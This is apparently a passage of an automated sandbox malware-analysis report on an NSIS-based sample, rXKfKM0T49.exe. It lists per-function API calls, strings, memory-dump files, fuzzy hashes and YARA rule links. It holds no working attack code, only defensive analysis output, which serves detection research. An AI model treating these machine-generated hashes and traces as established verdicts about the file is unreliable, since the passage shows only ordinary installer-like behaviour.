Download Yara Rule

APIs

Part of subcall function 7009121B: GlobalAlloc.KERNEL32(00000040,?,7009123B,?,700912DF,00000019,700911BE,-000000A0), ref: 70091225

GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 70091C6B
lstrcpyW.KERNEL32(00000008,?), ref: 70091CB3
lstrcpyW.KERNEL32(00000808,?), ref: 70091CBD
GlobalFree.KERNEL32(00000000), ref: 70091CD0
GlobalFree.KERNEL32(?), ref: 70091DB2
GlobalFree.KERNEL32(?), ref: 70091DB7
GlobalFree.KERNEL32(?), ref: 70091DBC
GlobalFree.KERNEL32(00000000), ref: 70091FA6
lstrcpyW.KERNEL32(?,?), ref: 70092140
GetModuleHandleW.KERNEL32(00000008), ref: 700921B5
LoadLibraryW.KERNEL32(00000008), ref: 700921C6
GetProcAddress.KERNEL32(?,?), ref: 70092220
lstrlenW.KERNEL32(00000808), ref: 7009223A

Memory Dump Source

Source File: 00000000.00000002.1855880593.0000000070091000.00000020.00000001.01000000.00000004.sdmp, Offset: 70090000, based on PE: true

Associated: 00000000.00000002.1855819178.0000000070090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1855965653.0000000070094000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1855996025.0000000070096000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70090000_rXKfKM0T49.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: f63d7e57699737d82890d4fdda7ceed97cfc84bb2aa8a2919b323093f3c610aa
Instruction ID: d5a735f8018440df2a0e4f4b6fa7e8dbdf45522bc3fec076411157206baae0dc
Opcode Fuzzy Hash: f63d7e57699737d82890d4fdda7ceed97cfc84bb2aa8a2919b323093f3c610aa
Instruction Fuzzy Hash: C222AE71E24209DEDB21CFB4C9846EDB7F6FB04B25F21452ED1A6E3280D7705A81EB58

Function 00405AFA Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,76F92EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,C:\Users\user\AppData\Local\Temp\,76F92EE0,00000000), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,76F92EE0,00000000), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,76F92EE0,00000000), ref: 00405B94
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,76F92EE0,00000000), ref: 00405BA4
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

0WB, xrefs: 00405B53
\*.*, xrefs: 00405B65
C:\Users\user\AppData\Local\Temp\, xrefs: 00405B08

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 0WB$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3222569857
Opcode ID: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction ID: 490a569b50011677cd34e026f6ab1003dec3a9533e419df12a6715eb2ed0bc70
Opcode Fuzzy Hash: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction Fuzzy Hash: 0541BF30805B18A6EB31AB618D89BAF7678EF41718F10817BF801711D2D77C59C29EAE

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00426778,00425F30,00405E0E,00425F30,00425F30,00000000,00425F30,00425F30,?,?,76F92EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,76F92EE0), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xgB, xrefs: 0040672C

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction ID: 964bfaba6fe47efa91ae3b9d04416f3a0311ddb8c2b0a677c8b566ff70b98767
Opcode Fuzzy Hash: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction Fuzzy Hash: 08D012315150205BC2011738BD4C85B7A589F553357228B37B866F61E0C7348C62869C

Function 00401E49 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E67
EnableWindow.USER32(00000000,00000000), ref: 00401E72

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction ID: b41365517dadb09c69eaf87789fd34eb77fb4a5ff64ddc4fb458d6156a5e0ce1
Opcode Fuzzy Hash: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction Fuzzy Hash: DFE0DF32E08200CFE724EFA5AA494AD77B4EB80324B20847FF201F11D1CE7858818F6E

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,?), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,?,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,?), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,?), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: (7B
API String ID: 3282139019-3251261122
Opcode ID: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\,76F93420,00435000,00000000), ref: 00403B59
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,00435800,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403BD9
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,00435800,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(Call), ref: 00403BF7
LoadImageW.USER32(00000067,?,00000000,00000000,00008040,00435800), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

_Nb, xrefs: 00403C5C, 00403CC4
Call, xrefs: 00403BA0, 00403BA9, 00403BB7, 00403C06, 00403C0C
RichEd32, xrefs: 00403D14
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
(7B, xrefs: 00403B04
C:\Users\user\AppData\Local\Temp\, xrefs: 00403AE4
RichEd20, xrefs: 00403D06
RichEdit, xrefs: 00403D33
.exe, xrefs: 00403BE6
.DEFAULT\Control Panel\International, xrefs: 00403B44
1033, xrefs: 00403AF8, 00403B54
RichEdit20W, xrefs: 00403D24, 00403D2A

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1350935784
Opcode ID: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 00402F30 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\rXKfKM0T49.exe,00000400), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\rXKfKM0T49.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,C:\Users\user\Desktop\rXKfKM0T49.exe,C:\Users\user\Desktop\rXKfKM0T49.exe,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNELBASE(00000040,0040A230), ref: 004030F0

Strings

C:\Users\user\Desktop\rXKfKM0T49.exe, xrefs: 00402F4A, 00402F59, 00402F6D, 00402F8A
Null, xrefs: 00403029
C:\Users\user\AppData\Local\Temp\, xrefs: 00402F3D, 00403108
soft, xrefs: 00403020
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
Error launching installer, xrefs: 00402F80
Inst, xrefs: 00403017

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\rXKfKM0T49.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-3422350778
Opcode ID: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,Call), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(Call,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B
Call, xrefs: 00406434, 0040650F, 00406516, 0040651A, 00406534, 00406535, 0040654A, 0040655D, 00406579, 004065A4, 004065D8, 004065DE, 004065FA, 0040660D, 0040662A, 00406630, 0040663C, 0040666F
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 0040176F Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,00436000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,00436000,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Strings

Call, xrefs: 0040178D, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Temp\nspC239.tmp\System.dll, xrefs: 00401835, 00401851
C:\Users\user\AppData\Local\Temp\nspC239.tmp, xrefs: 00401821, 0040183F

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nspC239.tmp$C:\Users\user\AppData\Local\Temp\nspC239.tmp\System.dll$Call
API String ID: 1941528284-3205120422
Opcode ID: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,?), ref: 004026F1
SetFilePointer.KERNELBASE(?,?,?,?,?,00000008,?,?,?,?), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,?,?,?,?,00000008,?,?,?,?), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,?), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,?,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Strings

%s%S.dll, xrefs: 0040679E
\, xrefs: 0040677A
UXTHEME, xrefs: 0040675B

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
